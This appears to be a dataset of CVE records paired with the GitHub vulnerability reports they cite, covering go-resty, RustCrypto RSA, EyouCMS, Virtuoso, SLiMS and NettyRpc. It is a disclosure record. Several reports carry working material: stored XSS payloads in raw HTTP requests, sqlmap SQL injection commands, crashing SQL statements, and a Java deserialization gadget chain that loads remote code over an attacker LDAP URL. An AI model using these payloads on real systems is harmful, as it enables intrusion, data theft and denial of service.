github.wdf.sap.corp/ift/slocon/pkg/task/slpclient.(*dialogHandler).onMessagebox()
/testDirectory/pkg/task/slpclient/dialogHandler.go:615 +0x3cb
github.wdf.sap.corp/ift/slocon/pkg/task/slpclient.(*dialogHandler).OnStateDialog()
/testDirectory/pkg/task/slpclient/dialogHandler.go:592 +0x2cd
github.wdf.sap.corp/ift/sl-core/pkg/slp/client.(*Loop).Poll()
/testDirectory/vendor/github.wdf.sap.corp/ift/sl-core/pkg/slp/client/loop.go:319 +0x1f85
github.wdf.sap.corp/ift/sl-core/pkg/slp/client.(*Loop).Run.func1()
/testDirectory/vendor/github.wdf.sap.corp/ift/sl-core/pkg/slp/client/loop.go:191 +0x107
Previous write at 0x00c001e91ce0 by goroutine 537693:
bytes.(*Buffer).Reset()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/bytes/buffer.go:107 +0x50
github.com/go-resty/resty/v2.releaseBuffer()
/testDirectory/vendor/github.com/go-resty/resty/v2/util.go:298 +0x41
github.com/go-resty/resty/v2.(*requestBodyReleaser).Close.func1()
/testDirectory/vendor/github.com/go-resty/resty/v2/util.go:325 +0x45
sync.(*Once).doSlow()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/sync/once.go:74 +0xf0
sync.(*Once).Do()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/sync/once.go:65 +0x44
github.com/go-resty/resty/v2.(*requestBodyReleaser).Close()
/testDirectory/vendor/github.com/go-resty/resty/v2/util.go:324 +0x7d
net/http.(*readTrackingBody).Close()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transport.go:658 +0x4f
net/http.(*transferWriter).writeBody.func1()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transfer.go:343 +0x9a
runtime.deferreturn()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/runtime/panic.go:477 +0x30
net/http.(*Request).write()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/request.go:738 +0x12cc
net/http.(*persistConn).writeLoop()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transport.go:2424 +0x312
net/http.(*Transport).dialConn.func6()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transport.go:1777 +0x33
Goroutine 537694 (running) created at:
github.wdf.sap.corp/ift/sl-core/pkg/slp/client.(*Loop).Run()
/testDirectory/vendor/github.wdf.sap.corp/ift/sl-core/pkg/slp/client/loop.go:173 +0x164
github.wdf.sap.corp/ift/slocon/pkg/task/slpclient.slpClientClass.Run()
/testDirectory/pkg/task/slpclient/slpclient.go:163 +0x970
github.wdf.sap.corp/ift/slocon/pkg/task/slpclient.(*slpClientClass).Run()
<autogenerated>:1 +0x95
github.wdf.sap.corp/ift/slocon/pkg/task.(*Task).start.func3()
/testDirectory/pkg/task/task.go:595 +0x1d4
Goroutine 537693 (finished) created at:
net/http.(*Transport).dialConn()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transport.go:1777 +0x256a
net/http.(*Transport).dialConnFor()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transport.go:1467 +0x129
net/http.(*Transport).queueForDial.func1()
/home/fwkadmin/.ift/import/content/go-1.21.1-bin-linuxx86_64/go/src/net/http/transport.go:1436 +0x44
==================
``` | DATA RACE in resty's middleware (go-resty/resty/v2.releaseBuffer()) | https://api.github.com/repos/go-resty/resty/issues/739/comments | 2 | 2023-10-25T13:29:37Z | 2024-01-11T10:14:09Z | https://github.com/go-resty/resty/issues/739 | 1,961,435,191 | 739 | 5,774 |
CVE-2023-45286 | 2023-11-28T17:15:08.280 | A race condition in go-resty can result in HTTP request body disclosure across requests. This condition can be triggered by calling sync.Pool.Put with the same *bytes.Buffer more than once, when request retries are enabled and a retry occurs. The call to sync.Pool.Get will then return a bytes.Buffer that hasn't had bytes.Buffer.Reset called on it. This dirty buffer will contain the HTTP request body from an unrelated request, and go-resty will append the current HTTP request body to it, sending two bodies in one request. The sync.Pool in question is defined at package level scope, so a completely unrelated server could receive the request body. | {
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] | github.com | [
"go-resty",
"resty"
] | In v2.10.0, I've observed an issue where the request body passed to `.SetBody(...)` is intermittently written multiple times under certain conditions.
From what I gather, it is somehow related to the retry mechanism, or at the very least I was only able to reproduce by triggering that.
[In the repro here](https://github.com/patrikeh/resty-request-body-issue), I ping an httptest mock endpoint triggering the retry mechanism, and observe the JSON request body being written multiple consecutive times e.g.
```
{ <some-json> }{ <some-json> }
```
This issue does not occur in v2.9.1. | Request body is written multiple times | https://api.github.com/repos/go-resty/resty/issues/743/comments | 2 | 2023-10-30T10:41:32Z | 2023-12-27T05:37:48Z | https://github.com/go-resty/resty/issues/743 | 1,968,036,476 | 743 | 5,775 |
CVE-2023-49092 | 2023-11-28T21:15:08.530 | RustCrypto/RSA is a portable RSA implementation in pure Rust. Due to a non-constant-time implementation, information about the private key is leaked through timing information which is observable over the network. An attacker may be able to use that information to recover the key. There is currently no fix available. As a workaround, avoid using the RSA crate in settings where attackers are able to observe timing information, e.g. local use on a non-compromised computer. | {
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"RustCrypto",
"RSA"
] | Hi there,
I'm the author of sidefuzz (https://github.com/phayes/sidefuzz) and I have found what appears to be variable-time behavior in the `rsa::internals::encrypt()` function. Specifically, `rsa::internals::encrypt()` appears to be variable-time in relation to the message. Note that I haven't worked this up into an actual exploit, but merely demonstrated that this function isn't constant-time in relation to the message inputed.
Specifically, the message `20d90c8af42aac9b1ee53dc9a0187201` takes 549894 instructions to encrypt, while the message `5a28cec68d47f6fe3b1df54c9f320f6d` takes 552427 instruction to encrypt. This is a difference of 2533 instructions, or about 0.5%. So it's a slight difference, but probably exploitable with sufficient sampling.
I have crated a fuzzing targets here: https://github.com/phayes/sidefuzz-targets
You can confirm this difference with the [sidefuzz](https://github.com/phayes/sidefuzz) tool like so:
```
sidefuzz check ./target/wasm32-unknown-unknown/release/rsa_encrypt_message.wasm 5a28cec68d47f6fe3b1df54c9f320f6d 20d90c8af42aac9b1ee53dc9a0187201
samples: 20000, t-value: 219771.0790572351, confidence: 100%
Found timing difference of 2533 instructions between these two inputs with 100% confidence:
input 1: 5a28cec68d47f6fe3b1df54c9f320f6d (552427 instructions)
input 2: 20d90c8af42aac9b1ee53dc9a0187201 (549894 instructions)
```
My first suspicion was that this was due to `num_bigint_dig::BigUint::from_bytes_be()` being variable-time, but fuzzing that function specifically results in what appears to be constant-time behavior. So I'm not actually sure where the problem is. | modpow implementation is not constant-time | https://api.github.com/repos/RustCrypto/RSA/issues/19/comments | 81 | 2019-04-30T19:50:46Z | 2025-06-02T13:45:17Z | https://github.com/RustCrypto/RSA/issues/19 | 438,948,363 | 19 | 5,776 |
CVE-2023-48880 | 2023-11-29T16:15:07.167 | A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Menu Name field at /login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn. | {
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] | github.com | [
"weng-xianhu",
"eyoucms"
] | **Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
**Description**:
1. Login to the back-end with an administrator account, click "Member Center", select "Function Configuration", then find "Frontend Style Settings", select "PC Left Menu", click "Manage" button, and modify the menu name.
```
POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1
Host: 192.168.3.135
Content-Length: 94
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.3.135
Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Member&a=ajax_menu_index&lang=cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=users_index%7CMember
Connection: close
table=users_menu&id_name=id&id_value=11&field=title&value=<img src=1 onerror=alert(1)>
```
3. Register an account in the front-end and log in, click on "Avatar" and select "Personal Center", then a pop-up window will appear.
| EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting | https://api.github.com/repos/weng-xianhu/eyoucms/issues/52/comments | 1 | 2023-08-23T11:20:28Z | 2024-03-22T06:45:21Z | https://github.com/weng-xianhu/eyoucms/issues/52 | 1,863,129,078 | 52 | 5,777 |
CVE-2023-48881 | 2023-11-29T16:15:07.217 | A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Field Title field at /login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn. | {
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"weng-xianhu",
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] | **Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
**Description**:
1. Log in to the backend with an administrator account, click on "Feature Map" and add "Column Fields".
2. Select "Column Fields", click "Add Field", set the value of "Field Title" to `<img src=1 onerror=alert(1)>`, and fill in the other fields arbitrarily.
```
POST /EyouCMS/login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn HTTP/1.1
Host: 192.168.3.135
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.3.135
Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Field&a=arctype_add&lang=cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-treeClicked-Arr=%5B%5D; workspaceParam=arctype_index%7CField
Connection: close
title=<img src=1 onerror=alert(1)>&name=aaaaaaaa&dtype=text&dfvalue=aaaaaa&remark=aaaaaaaaaa&typeids%5B%5D=8&channel_id=-99
```
3. Then select "Column Fields" and a pop-up window will appear.
 | EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting | https://api.github.com/repos/weng-xianhu/eyoucms/issues/53/comments | 1 | 2023-08-23T13:24:48Z | 2024-03-22T06:39:31Z | https://github.com/weng-xianhu/eyoucms/issues/53 | 1,863,334,194 | 53 | 5,778 |
CVE-2023-48882 | 2023-11-29T16:15:07.270 | A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Document Properties field at /login.php m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn. | {
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] | github.com | [
"weng-xianhu",
"eyoucms"
] | **Version**:
<=EyouCMS-V1.6.4-UTF8-SP1
**Description**:
1. Log in to the backend with an administrator account, click on "Function Map" and add "Document Properties".
2. Select "Document Properties" and change the name of one of the properties to `<img src=1 onerror=alert(1)`.
```
POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1
Host: 192.168.3.135
Content-Length: 100
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.3.135
Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=ArchivesFlag&a=index&lang=cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; admin-treeClicked-Arr=%5B%5D; ENV_IS_UPHTML=0; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=index%7CArchivesFlag
Connection: close
table=archives_flag&id_name=id&id_value=1&field=flag_name&value=<img src=1 onerror=alert(1)>
```
3. Choose "Content Management", select an article at random, click "Edit" and a pop-up window will appear.
The principle is the same as https://github.com/weng-xianhu/eyoucms/issues/52. | EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting | https://api.github.com/repos/weng-xianhu/eyoucms/issues/54/comments | 1 | 2023-08-23T14:31:08Z | 2024-03-22T06:30:31Z | https://github.com/weng-xianhu/eyoucms/issues/54 | 1,863,459,135 | 54 | 5,779 |
CVE-2023-48945 | 2023-11-29T20:15:07.797 | A stack overflow in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
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"exploitabilityScore": 3.9,
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"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
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"url": "https://github.com/openlink/virtuoso-opensource/issues/1172"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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] | 787 | https://github.com/openlink/virtuoso-opensource/issues/1172 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```sql
CREATE TABLE v0 ( v1 DECIMAL ) ;
INSERT INTO v0 VALUES ( 0 ) ;
INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 49 THEN v1 ELSE -128 END FROM v0 AS v2 , v0 , v0 AS v3 GROUP BY v1 , v1 ;
UPDATE v0 SET v1 = ( SELECT DISTINCT * FROM v0 ) ;
```
Server Log:
```
14:21:24 HTTP/WebDAV server online at 8890
14:21:24 Server online at 1111 (pid 1)
*** stack smashing detected ***: terminated
```
Due to the stack smashing, I failed to retrieve the correct backtrace.
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
``` | Fuzzer: Virtuoso 7.2.11 crashed by stack smashing | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1172/comments | 2 | 2023-11-14T14:41:15Z | 2023-11-20T16:31:19Z | https://github.com/openlink/virtuoso-opensource/issues/1172 | 1,992,885,538 | 1,172 | 5,780 |
CVE-2023-48952 | 2023-11-29T20:15:08.133 | An issue in the box_deserialize_reusing function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement. | {
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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"Exploit",
"Issue Tracking"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE v0 ( v1 INT , v2 BIGINT PRIMARY KEY) ;
INSERT INTO v0 VALUES ( 20 , -1 ) ;
SELECT v1 + 77 , v2 FROM v0 UNION SELECT v2 , CASE WHEN 92 THEN 86 ELSE ( ( 32433852.000000 , 70038895.000000 ) , ( 64572024.000000 , 4442219.000000 ) ) END FROM v0 ORDER BY v2 + -1 * 40 ;
```
backtrace:
```c
#0 0x876418 (box_deserialize_reusing+0x38)
#1 0x87917e (sslr_qst_get+0x46e)
#2 0x81f2f6 (select_node_input_vec+0x656)
#3 0x7ba667 (select_node_input+0xa7)
#4 0x7af05e (qn_input+0x3ce)
#5 0x7af78f (qn_ts_send_output+0x23f)
#6 0x7b509e (table_source_input+0x16ee)
#7 0x7af05e (qn_input+0x3ce)
#8 0x7af4c6 (qn_send_output+0x236)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af4c6 (qn_send_output+0x236)
#11 0x8214bd (set_ctr_vec_input+0x99d)
#12 0x7af05e (qn_input+0x3ce)
#13 0x7c084b (qr_exec+0x11db)
#14 0x7ce1d6 (sf_sql_execute+0x11a6)
#15 0x7cecde (sf_sql_execute_w+0x17e)
#16 0x7d799d (sf_sql_execute_wrapper+0x3d)
#17 0xe214bc (future_wrapper+0x3fc)
#18 0xe28dbe (_thread_boot+0x11e)
#19 0x7fca3837c609 (start_thread+0xd9)
#20 0x7fca3814c133 (clone+0x43)
```
ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
``` | Fuzzer: Virtuoso 7.2.11 crashed at box_deserialize_reusing | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1175/comments | 3 | 2023-11-14T15:13:36Z | 2023-12-04T14:53:16Z | https://github.com/openlink/virtuoso-opensource/issues/1175 | 1,992,951,081 | 1,175 | 5,781 |
CVE-2023-48813 | 2023-12-01T16:15:07.487 | Senayan Library Management Systems (Slims) 9 Bulian v9.6.1 is vulnerable to SQL Injection via admin/modules/reporting/customs/fines_report.php. | {
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"tags": [
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"url": "https://github.com/komangsughosa/CVE-ID-not-yet/blob/main/slims/slims9_bulian-9.6.1-SQLI-fines_report.md"
},
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"source": "cve@mitre.org",
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"Issue Tracking"
] | github.com | [
"slims",
"slims9_bulian"
] | **Describe the bug**
A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below
```php
$selected_year = date('Y');
if (isset($_GET['year']) AND !empty($_GET['year'])) {
$selected_year = (integer)$_GET['year'];
}
// month
$selected_month = date('m');
if (isset($_GET['month']) AND !empty($_GET['month'])) {
$selected_month = $_GET['month'];
}
// query fines data to database
// echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`";
$_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`");
while ($_fines_d = $_fines_q->fetch_row()) {
$date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]);
$fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>';
}
// generate calendar
$output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data);
// print out
echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n";
echo $output;
```
**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to reportings/fines report
2. make sure burp suit is on to capture the request such as below:
3. save the request into a file (bredel.req)
4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user`
**Proof-of-Concept**
<img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7">
**bredel.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Accept-Encoding: gzip, deflate, br
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073
Connection: close
```
**Desktop (please complete the following information):**
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.6.1
| [Security Bugs] SQL Injection at fines_report.php | https://api.github.com/repos/slims/slims9_bulian/issues/217/comments | 1 | 2023-11-13T00:00:09Z | 2025-01-01T10:42:59Z | https://github.com/slims/slims9_bulian/issues/217 | 1,989,644,007 | 217 | 5,782 |
CVE-2023-48893 | 2023-12-01T16:15:07.607 | SLiMS (aka SENAYAN Library Management System) through 9.6.1 allows admin/modules/reporting/customs/staff_act.php SQL Injection via startDate or untilDate. | {
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
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"url": "https://github.com/Vuln0wned/slims_owned/blob/main/slims/slims9-bulian-9.6.1-SQLI-staff_act.md"
},
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"source": "cve@mitre.org",
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"Exploit",
"Issue Tracking"
] | github.com | [
"slims",
"slims9_bulian"
] | ## The Bug
A SQL Injection exists in `admin/modules/reporting/customs/staff_act.php` at the code below
```php
// create datagrid
$reportgrid = new report_datagrid();
$reportgrid->setSQLColumn('u.realname AS \''.__('Real Name').'\'',
'u.username AS \''.__('Login Username').'\'',
'u.user_id AS \''.__('Bibliography Data Entry').'\'',
'u.user_id AS \''.__('Item Data Entry').'\'',
'u.user_id AS \''.__('Member Data Entry').'\'',
'u.user_id AS \''.__('Loans').'\'',
'u.user_id AS \''.__('Returns').'\'',
'u.user_id AS \''.__('Extends').'\'');
$reportgrid->setSQLorder('realname ASC');
// is there any search
$criteria = 'user_id IS NOT NULL ';
$reportgrid->setSQLCriteria($criteria);
$start_date = '2000-01-01';
if (isset($_GET['startDate'])) {
$start_date = $_GET['startDate']; // unsanitized input 1
}
$until_date = date('Y-m-d');
if (isset($_GET['untilDate'])) {
$until_date = $_GET['untilDate']; // unsanitized input 2
}
```
**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to Staff Activity Reporting
2. Make sure the burp is on to capture the request as below
3. Save the request into a file (example.req)
4. Run the test with sqlmap with the command
```
sqlmap command:
sqlmap -r example.req --level 5 --risk 3 -p startDate --random-agent --dbms=mysql --current-user
```
5. It's in
**example.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/staff_act.php?startDate=2000-01-01&untilDate=2023-08-2&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Cookie: SenayanAdmin=68n7ojemg853g6ipos463oo2o2; admin_logged_in=1; SenayanMember=nva8k0bovrr32qckn46cs9u46h
Upgrade-Insecure-Requests: 1
```
## Screenshots
**proof-of-concept current user**
**Versions**
- OS: Windows
- Browser: Firefox | 116.0.3 (64-bit)
- Slims Version: slims9_bulian-9.6.1
## Notes
| Vuln0wned Report: SQL Injection in staff_act.php | https://api.github.com/repos/slims/slims9_bulian/issues/209/comments | 0 | 2023-09-01T09:36:16Z | 2023-09-05T06:25:21Z | https://github.com/slims/slims9_bulian/issues/209 | 1,877,090,139 | 209 | 5,783 |
CVE-2023-48886 | 2023-12-01T23:15:07.920 | A deserialization vulnerability in NettyRpc v1.2 allows attackers to execute arbitrary commands via sending a crafted RPC request. | {
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"confidentialityImpact": "HIGH",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
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"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
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"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
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}
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"tags": [
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"url": "https://github.com/luxiaoxun/NettyRpc/issues/53"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/luxiaoxun/NettyRpc"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/luxiaoxun/NettyRpc/issues/53"
}
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] | [
"502"
] | 502 | https://github.com/luxiaoxun/NettyRpc/issues/53 | [
"Exploit"
] | github.com | [
"luxiaoxun",
"NettyRpc"
] | # Describe the Vulnerability
A deserialization vulnerability in NettyRpc v1.2 allows attackers to execute arbitrary commands via sending a crafted RPC request.
# Environment
- NettyRpc: v1.2
- JVM version: JDK 1.8(Tested on JDK 1.8.0_65)
# Preparation for Vulnerability Verification
#### For the purpose of this proof of concept and simplicity, the following assumptions are made:
1. There is an additional method named "sayObject" in the HelloService
2. The application has dependencies on commons-collections and commons-beanutils.:
3 Remote class loading is allowed (either because an old JDK version is being used, or by using the JVM argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
# Exploit and Analysis
## POC
1. Obtain the JNDI injection tool from: https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
2. Use the following command below to establish a JNDI link
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
3. Paste the provided POC code below into the project, ensuring to modify the JNDI URL address!
```java
package com.app.test.client;
import com.netty.rpc.client.RpcClient;
import com.app.test.service.HelloService;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.Comparator;
import java.util.TreeMap;
public class RpcObject {
public static void main(String[] args) throws Exception {
final RpcClient rpcClient = new RpcClient("127.0.0.1:2181");
final HelloService syncClient = rpcClient.createService(HelloService.class, "1.0");
BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
// Modify the jndiURL here!
String jndiUrl = "ldap://169.254.197.239:1389/0i9tqe";
Object trig = makeTreeMap(makeJNDIRowSet(jndiUrl), cmp);
setFieldValue(cmp, "property", "databaseMetaData");
syncClient.helloObject(trig);
rpcClient.stop();
}
public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = getField(entryCl, "left");
Field rootF = getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
setFieldValue(tm, "size", 2);
return tm;
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
